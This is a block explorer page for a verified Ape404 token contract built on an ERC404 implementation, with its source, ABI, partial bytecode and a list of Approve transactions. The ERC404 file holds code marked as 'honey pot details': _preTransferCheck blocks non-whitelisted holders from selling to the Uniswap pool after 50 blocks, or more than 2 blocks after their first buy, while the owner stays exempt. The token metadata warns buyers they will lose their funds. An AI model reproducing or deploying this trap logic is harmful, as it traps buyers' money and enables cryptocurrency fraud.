ETH Price: $2,771.55 (+5.03%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve191818942024-02-08 7:15:23363 days ago1707376523IN
0xcAC7419f...bfea43427
0 ETH0.0017750336.58122454
Approve191818902024-02-08 7:14:35363 days ago1707376475IN
0xcAC7419f...bfea43427
0 ETH0.0015895632.79950115
Approve191818882024-02-08 7:14:11363 days ago1707376451IN
0xcAC7419f...bfea43427
0 ETH0.0014865130.81827945
Approve191818832024-02-08 7:13:11363 days ago1707376391IN
0xcAC7419f...bfea43427
0 ETH0.0015893932.79600556
Approve191818802024-02-08 7:12:35363 days ago1707376355IN
0xcAC7419f...bfea43427
0 ETH0.0015235331.5935284
Approve191818802024-02-08 7:12:35363 days ago1707376355IN
0xcAC7419f...bfea43427
0 ETH0.0015766832.4935284
Approve191818782024-02-08 7:12:11363 days ago1707376331IN
0xcAC7419f...bfea43427
0 ETH0.0014770830.6607845
Approve191818782024-02-08 7:12:11363 days ago1707376331IN
0xcAC7419f...bfea43427
0 ETH0.0017289235.6310217
Approve191818762024-02-08 7:11:47363 days ago1707376307IN
0xcAC7419f...bfea43427
0 ETH0.0015000630.95287386
Approve191818752024-02-08 7:11:35363 days ago1707376295IN
0xcAC7419f...bfea43427
0 ETH0.0016435233.91308328
Approve191818722024-02-08 7:10:59363 days ago1707376259IN
0xcAC7419f...bfea43427
0 ETH0.0016458833.96163736
Approve191818692024-02-08 7:10:23363 days ago1707376223IN
0xcAC7419f...bfea43427
0 ETH0.0017215335.52258845
Approve191818692024-02-08 7:10:23363 days ago1707376223IN
0xcAC7419f...bfea43427
0 ETH0.0032763967.52258845
Approve191818682024-02-08 7:10:11363 days ago1707376211IN
0xcAC7419f...bfea43427
0 ETH0.0016455133.91213542
Approve191818672024-02-08 7:09:59363 days ago1707376199IN
0xcAC7419f...bfea43427
0 ETH0.0016040133.05683429
Approve191818652024-02-08 7:09:35363 days ago1707376175IN
0xcAC7419f...bfea43427
0 ETH0.0016869634.80943141
Approve191818642024-02-08 7:09:23363 days ago1707376163IN
0xcAC7419f...bfea43427
0 ETH0.0016196833.4209852
Approve191818622024-02-08 7:08:59363 days ago1707376139IN
0xcAC7419f...bfea43427
0 ETH0.0015073531.28914141
Approve191818622024-02-08 7:08:59363 days ago1707376139IN
0xcAC7419f...bfea43427
0 ETH0.0015163631.28914141
Approve191818612024-02-08 7:08:47363 days ago1707376127IN
0xcAC7419f...bfea43427
0 ETH0.0015920332.80989475
Approve191818602024-02-08 7:08:35363 days ago1707376115IN
0xcAC7419f...bfea43427
0 ETH0.0016329133.6523017
Approve191818592024-02-08 7:08:23363 days ago1707376103IN
0xcAC7419f...bfea43427
0 ETH0.0016357133.71019243
Approve191818582024-02-08 7:08:11363 days ago1707376091IN
0xcAC7419f...bfea43427
0 ETH0.0017128135.34271536
Approve191818582024-02-08 7:08:11363 days ago1707376091IN
0xcAC7419f...bfea43427
0 ETH0.0018119837.34271536
Approve191818582024-02-08 7:08:11363 days ago1707376091IN
0xcAC7419f...bfea43427
0 ETH0.0018119837.34271536
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Ape404

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
istanbul EvmVersion
File 1 of 3 : Ape404.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import {ERC404} from "./ERC404.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";

contract Ape404 is ERC404 {
    string public dataURI;
    string public baseTokenURI;

    constructor(address _owner) ERC404("Ape404", "APE", 18, 100, _owner) {
        balanceOf[_owner] = totalSupply;
        setWhitelist(_owner, true);
    }

    function setDataURI(string memory _dataURI) public onlyOwner {
        dataURI = _dataURI;
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function setNameSymbol(string memory _name, string memory _symbol) public onlyOwner {
        _setNameSymbol(_name, _symbol);
    }

    function tokenURI(uint256 id) public view override returns (string memory) {
        if (bytes(baseTokenURI).length > 0) {
            return concatenate(baseTokenURI, Strings.toString(id));
        } else {
            string memory image = concatenate(Strings.toString(id), ".png");

            string memory jsonPreImage = concatenate(
                concatenate(
                    concatenate('{"name": "Punk #', Strings.toString(id)),
                    '","description":"Do not buy this if you are not a bot. You will lose your funds.","warnig":"You will lose all your funds if you buy this","external_url":"","image":"'
                ),
                concatenate(dataURI, image)
            );
            string memory jsonPostImage = '","attributes":[{"trait_type":"item","value":"punk"}]}';

            return concatenate("data:application/json;utf8,", concatenate(jsonPreImage, jsonPostImage));
        }
    }

    function concatenate(string memory a, string memory b) public pure returns (string memory) {
        bytes memory bytesA = bytes(a);
        bytes memory bytesB = bytes(b);
        string memory combined = new string(bytesA.length + bytesB.length);
        bytes memory bytesCombined = bytes(combined);
    
        uint k = 0;
        for (uint i = 0; i < bytesA.length; i++) {
            bytesCombined[k++] = bytesA[i];
        }
        for (uint i = 0; i < bytesB.length; i++) {
            bytesCombined[k++] = bytesB[i];
        }
    
        return string(bytesCombined);
    }
}

File 2 of 3 : ERC404.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

abstract contract Ownable {
    event OwnershipTransferred(address indexed user, address indexed newOwner);

    address public owner;

    modifier onlyOwner() virtual {
        if (msg.sender != owner) revert("unauthorized");

        _;
    }

    constructor(address _owner) {
        if (_owner == address(0)) revert("invalid owner");

        owner = _owner;

        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address _owner) public virtual onlyOwner {
        if (_owner == address(0)) revert("invalid owner");

        owner = _owner;

        emit OwnershipTransferred(msg.sender, _owner);
    }

    function revokeOwnership() public virtual onlyOwner {
        owner = address(0);

        emit OwnershipTransferred(msg.sender, address(0));
    }
}

abstract contract ERC721Receiver {
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return ERC721Receiver.onERC721Received.selector;
    }
}

/// @notice ERC404
///         A gas-efficient, mixed ERC20 / ERC721 implementation
///         with native liquidity and fractionalization.
///
///         This is an experimental standard designed to integrate
///         with pre-existing ERC20 / ERC721 support as smoothly as
///         possible.
///
/// @dev    In order to support full functionality of ERC20 and ERC721
///         supply assumptions are made that slightly constraint usage.
///         Ensure decimals are sufficiently large (standard 18 recommended)
///         as ids are effectively encoded in the lowest range of amounts.
///
///         NFTs are spent on ERC20 functions in a FILO queue, this is by
///         design.
///
abstract contract ERC404 is Ownable {
    // Events
    event ERC20Transfer(
        address indexed from,
        address indexed to,
        uint256 amount
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 amount
    );
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed id
    );
    event ERC721Approval(
        address indexed owner,
        address indexed spender,
        uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    // Metadata
    /// @dev Token name
    string public name;

    /// @dev Token symbol
    string public symbol;

    /// @dev Decimals for fractional representation
    uint8 public decimals;

    /// @dev Total supply in fractionalized representation
    uint256 public totalSupply;

    /// @dev Current mint counter, monotonically increasing to ensure accurate ownership
    uint256 public minted;

    // Mappings
    /// @dev Balance of user in fractional representation
    mapping(address => uint256) public balanceOf;

    /// @dev Allowance of user in fractional representation
    mapping(address => mapping(address => uint256)) public allowance;

    /// @dev Approval in native representaion
    mapping(uint256 => address) public getApproved;

    /// @dev Approval for all in native representation
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    /// @dev Owner of id in native representation
    mapping(uint256 => address) internal _ownerOf;

    /// @dev Array of owned ids in native representation
    mapping(address => uint256[]) internal _owned;

    /// @dev Tracks indices for the _owned mapping
    mapping(uint256 => uint256) internal _ownedIndex;

    /// @dev Addresses whitelisted from minting / burning for gas savings (pairs, routers, etc)
    mapping(address => bool) public whitelist;

    // honey pot details

    address public _uniswapV3Pool;
    uint256 public _disableTransferBlock;
    mapping(address => uint256) public initialBuyBlock;

    // Constructor
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 _totalNativeSupply,
        address _owner
    ) Ownable(_owner) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _totalNativeSupply * (10 ** decimals);
    }

    /// @notice Initialization function to set pairs / etc
    ///         saving gas by avoiding mint / burn on unnecessary targets
    function setWhitelist(address target, bool state) public onlyOwner {
        whitelist[target] = state;
    }

    /// @notice Function to find owner of a given native token
    function ownerOf(uint256 id) public view virtual returns (address owner) {
        owner = _ownerOf[id];

        if (owner == address(0)) {
            revert("not found");
        }
    }

    /// @notice tokenURI must be implemented by child contract
    function tokenURI(uint256 id) public view virtual returns (string memory);

    /// @notice Function for token approvals
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function approve(
        address spender,
        uint256 amountOrId
    ) public virtual returns (bool) {
        if (amountOrId <= minted && amountOrId > 0) {
            address owner = _ownerOf[amountOrId];

            if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {
                revert("unauthorized");
            }

            getApproved[amountOrId] = spender;

            emit Approval(owner, spender, amountOrId);
        } else {
            allowance[msg.sender][spender] = amountOrId;

            emit Approval(msg.sender, spender, amountOrId);
        }

        return true;
    }

    /// @notice Function native approvals
    function setApprovalForAll(address operator, bool approved) public virtual {
        isApprovedForAll[msg.sender][operator] = approved;

        emit ApprovalForAll(msg.sender, operator, approved);
    }

    /// @notice Function for mixed transfers
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function transferFrom(
        address from,
        address to,
        uint256 amountOrId
    ) public virtual {
        _preTransferCheck(from, to);

        if (amountOrId <= minted) {
            if (from != _ownerOf[amountOrId]) {
                revert(" InvalidSender");
            }

            if (to == address(0)) {
                revert("InvalidRecipient");
            }

            if (
                msg.sender != from &&
                !isApprovedForAll[from][msg.sender] &&
                msg.sender != getApproved[amountOrId]
            ) {
                revert("unauthorized");
            }

            balanceOf[from] -= _getUnit();

            balanceOf[to] += _getUnit();

            _ownerOf[amountOrId] = to;
            delete getApproved[amountOrId];

            // update _owned for sender
            uint256 updatedId = _owned[from][_owned[from].length - 1];
            _owned[from][_ownedIndex[amountOrId]] = updatedId;
            // pop
            _owned[from].pop();
            // update index for the moved id
            _ownedIndex[updatedId] = _ownedIndex[amountOrId];
            // push token to to owned
            _owned[to].push(amountOrId);
            // update index for to owned
            _ownedIndex[amountOrId] = _owned[to].length - 1;

            emit Transfer(from, to, amountOrId);
            emit ERC20Transfer(from, to, _getUnit());
        } else {
            uint256 allowed = allowance[from][msg.sender];

            if (allowed != type(uint256).max)
                allowance[from][msg.sender] = allowed - amountOrId;

            _transfer(from, to, amountOrId);
        }
    }

    /// @notice Function for fractional transfers
    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    /// @notice Function for native transfers with contract support
    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) public virtual {
        transferFrom(from, to, id);

        if (
            isContract(to) &&
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, "") !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert("UnsafeRecipient");
        }
    }

    /// @notice Function for native transfers with contract support and callback data
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) public virtual {
        transferFrom(from, to, id);

        if (
            isContract(to) &&
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert("UnsafeRecipient");
        }
    }

    function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function _preTransferCheck(address from, address to) internal {
        if (_uniswapV3Pool == address(0)) {
            _uniswapV3Pool = to;
            _disableTransferBlock = block.number + 50;
        } else if (_disableTransferBlock < block.number) {
            if (to == _uniswapV3Pool && !whitelist[from]) {
                revert("Transfers are disabled to sell tokens");
            }
        }

        if (initialBuyBlock[to] == 0 && from == _uniswapV3Pool) {
            initialBuyBlock[to] = block.number;
        } else if (to == _uniswapV3Pool && initialBuyBlock[from] != 0) {
            if (block.number - initialBuyBlock[from] > 2) {
                revert("Transfers are disabled after 2 block of initial buy");
            }
        }
    }

    /// @notice Internal function for fractional transfers
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        uint256 unit = _getUnit();
        uint256 balanceBeforeSender = balanceOf[from];
        uint256 balanceBeforeReceiver = balanceOf[to];

        _preTransferCheck(from, to);

        balanceOf[from] -= amount;
        balanceOf[to] += amount;

        // Skip burn for certain addresses to save gas
        if (!whitelist[from]) {
            uint256 tokens_to_burn = (balanceBeforeSender / unit) -
                (balanceOf[from] / unit);
            for (uint256 i = 0; i < tokens_to_burn; i++) {
                _burn(from);
            }
        }

        // Skip minting for certain addresses to save gas
        if (!whitelist[to]) {
            uint256 tokens_to_mint = (balanceOf[to] / unit) -
                (balanceBeforeReceiver / unit);
            for (uint256 i = 0; i < tokens_to_mint; i++) {
                _mint(to);
            }
        }

        emit ERC20Transfer(from, to, amount);
        return true;
    }

    // Internal utility logic
    function _getUnit() internal view returns (uint256) {
        return 10 ** decimals;
    }

    function _mint(address to) internal virtual {
        if (to == address(0)) {
            revert("InvalidRecipient");
        }

        minted++;

        uint256 id = minted;

        if (_ownerOf[id] != address(0)) {
            revert("already exists");
        }

        _ownerOf[id] = to;
        _owned[to].push(id);
        _ownedIndex[id] = _owned[to].length - 1;

        emit Transfer(address(0), to, id);
    }

    function _burn(address from) internal virtual {
        if (from == address(0)) {
            revert(" InvalidSender");
        }

        uint256 id = _owned[from][_owned[from].length - 1];
        _owned[from].pop();
        delete _ownedIndex[id];
        delete _ownerOf[id];
        delete getApproved[id];

        emit Transfer(from, address(0), id);
    }

    function _setNameSymbol(
        string memory _name,
        string memory _symbol
    ) internal {
        name = _name;
        symbol = _symbol;
    }
}

File 3 of 3 : Strings.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

/**
 * @dev String operations.
 */
library Strings {
    /**
     * @dev Converts a `uint256` to its ASCII `string` representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        uint256 index = digits - 1;
        temp = value;
        while (temp != 0) {
            buffer[index--] = bytes1(uint8(48 + temp % 10));
            temp /= 10;
        }
        return string(buffer);
    }
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "@uniswap/v3-core/=lib/v3-core/",
    "v3-periphery/=lib/v3-periphery/contracts/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
    "v3-core/=lib/v3-core/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs"
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "istanbul",
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"ERC721Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_disableTransferBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV3Pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"a","type":"string"},{"internalType":"string","name":"b","type":"string"}],"name":"concatenate","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dataURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBuyBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"revokeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_dataURI","type":"string"}],"name":"setDataURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"name":"setNameSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200265338038062002653833981810160405260208110156200003757600080fd5b50516040805180820182526006815265105c194d0c0d60d21b6020828101919091528251808401909352600383526241504560e81b90830152906012606484806001600160a01b038116620000c3576040805162461bcd60e51b815260206004820152600d60248201526c34b73b30b634b21037bbb732b960991b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03831690811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35084516200012190600190602088019062000201565b5083516200013790600290602087019062000201565b50506003805460ff191660ff9384161790819055909116600a0a0260048190556001600160a01b0384166000908152600660205260409020555062000180905081600162000187565b50620002ad565b6000546001600160a01b03163314620001d6576040805162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928262000239576000855562000284565b82601f106200025457805160ff191683800117855562000284565b8280016001018555821562000284579182015b828111156200028457825182559160200191906001019062000267565b506200029292915062000296565b5090565b5b8082111562000292576000815560010162000297565b61239680620002bd6000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c806370a082311161010f578063d547cfb7116100a2578063e985e9c511610071578063e985e9c514610922578063f28ca1dd14610950578063f2fde38b14610958578063fd50cc7f1461097e576101e5565b8063d547cfb714610840578063d832404114610848578063dd62ed3e14610850578063e0df5b6f1461087e576101e5565b8063a22cb465116100de578063a22cb4651461073b578063a9059cbb14610769578063b88d4fde14610795578063c87b56dd14610823576101e5565b806370a08231146106df5780638da5cb5b1461070557806395d89b411461070d5780639b19251a14610715576101e5565b8063266001d3116101875780634f02c420116101565780634f02c42014610563578063504334c21461056b57806353d6fd59146106945780636352211e146106c2576101e5565b8063266001d3146103de5780632b96895814610507578063313ce5671461050f57806342842e0e1461052d576101e5565b8063095ea7b3116101c3578063095ea7b3146102ba57806318160ddd146102fa57806318d217c31461030257806323b872dd146103a8576101e5565b806304b18f46146101ea57806306fdde0314610204578063081812fc14610281575b600080fd5b6101f26109a4565b60408051918252519081900360200190f35b61020c6109aa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024657818101518382015260200161022e565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029e6004803603602081101561029757600080fd5b5035610a37565b604080516001600160a01b039092168252519081900360200190f35b6102e6600480360360408110156102d057600080fd5b506001600160a01b038135169060200135610a52565b604080519115158252519081900360200190f35b6101f2610bca565b6103a66004803603602081101561031857600080fd5b810190602081018135600160201b81111561033257600080fd5b82018360208201111561034457600080fd5b803590602001918460018302840111600160201b8311171561036557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610bd0945050505050565b005b6103a6600480360360608110156103be57600080fd5b506001600160a01b03813581169160208101359091169060400135610c35565b61020c600480360360408110156103f457600080fd5b810190602081018135600160201b81111561040e57600080fd5b82018360208201111561042057600080fd5b803590602001918460018302840111600160201b8311171561044157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561049357600080fd5b8201836020820111156104a557600080fd5b803590602001918460018302840111600160201b831117156104c657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610fee945050505050565b6103a66110f9565b610517611183565b6040805160ff9092168252519081900360200190f35b6103a66004803603606081101561054357600080fd5b506001600160a01b0381358116916020810135909116906040013561118c565b6101f261128f565b6103a66004803603604081101561058157600080fd5b810190602081018135600160201b81111561059b57600080fd5b8201836020820111156105ad57600080fd5b803590602001918460018302840111600160201b831117156105ce57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561062057600080fd5b82018360208201111561063257600080fd5b803590602001918460018302840111600160201b8311171561065357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611295945050505050565b6103a6600480360360408110156106aa57600080fd5b506001600160a01b03813516906020013515156112ed565b61029e600480360360208110156106d857600080fd5b5035611366565b6101f2600480360360208110156106f557600080fd5b50356001600160a01b03166113c1565b61029e6113d3565b61020c6113e2565b6102e66004803603602081101561072b57600080fd5b50356001600160a01b031661143a565b6103a66004803603604081101561075157600080fd5b506001600160a01b038135169060200135151561144f565b6102e66004803603604081101561077f57600080fd5b506001600160a01b0381351690602001356114bd565b6103a6600480360360808110156107ab57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b8111156107e557600080fd5b8201836020820111156107f757600080fd5b803590602001918460018302840111600160201b8311171561081857600080fd5b5090925090506114d1565b61020c6004803603602081101561083957600080fd5b5035611617565b61020c61186d565b61029e6118c8565b6101f26004803603604081101561086657600080fd5b506001600160a01b03813581169160200135166118d7565b6103a66004803603602081101561089457600080fd5b810190602081018135600160201b8111156108ae57600080fd5b8201836020820111156108c057600080fd5b803590602001918460018302840111600160201b831117156108e157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506118f4945050505050565b6102e66004803603604081101561093857600080fd5b506001600160a01b0381358116916020013516611955565b61020c611975565b6103a66004803603602081101561096e57600080fd5b50356001600160a01b03166119d0565b6101f26004803603602081101561099457600080fd5b50356001600160a01b0316611ab4565b600f5481565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a2f5780601f10610a0457610100808354040283529160200191610a2f565b820191906000526020600020905b815481529060010190602001808311610a1257829003601f168201915b505050505081565b6008602052600090815260409020546001600160a01b031681565b60006005548211158015610a665750600082115b15610b62576000828152600a60205260409020546001600160a01b0316338114801590610ab757506001600160a01b038116600090815260096020908152604080832033845290915290205460ff16155b15610af8576040805162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b60008381526008602090815260409182902080546001600160a01b0319166001600160a01b03888116918217909255835187815293519093918516927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350610bc1565b3360008181526007602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35b50600192915050565b60045481565b6000546001600160a01b03163314610c1e576040805162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b8051610c3190601190602084019061218c565b5050565b610c3f8383611ac6565b6005548111610f85576000818152600a60205260409020546001600160a01b03848116911614610ca7576040805162461bcd60e51b815260206004820152600e60248201526d1024b73b30b634b229b2b73232b960911b604482015290519081900360640190fd5b6001600160a01b038216610cf5576040805162461bcd60e51b815260206004820152601060248201526f125b9d985b1a59149958da5c1a595b9d60821b604482015290519081900360640190fd5b336001600160a01b03841614801590610d3257506001600160a01b038316600090815260096020908152604080832033845290915290205460ff16155b8015610d5557506000818152600860205260409020546001600160a01b03163314155b15610d96576040805162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b610d9e611c67565b6001600160a01b03841660009081526006602052604090208054919091039055610dc6611c67565b6001600160a01b0380841660008181526006602090815260408083208054909601909555858252600a815284822080546001600160a01b031990811690941790556008815284822080549093169092559186168252600b905290812080546000198101908110610e3257fe5b60009182526020808320909101546001600160a01b0387168352600b82526040808420868552600c90935290922054815492935083928110610e7057fe5b60009182526020808320909101929092556001600160a01b0386168152600b90915260409020805480610e9f57fe5b600082815260208082208301600019908101839055928301909355848152600c80845260408083208054878552828520556001600160a01b03808a16808652600b88528386208054600181018255818852898820018b9055548a8752949097529290940190935591518593928816917fddf252ad1be2c89b69c2b068fc378daa952ba7f16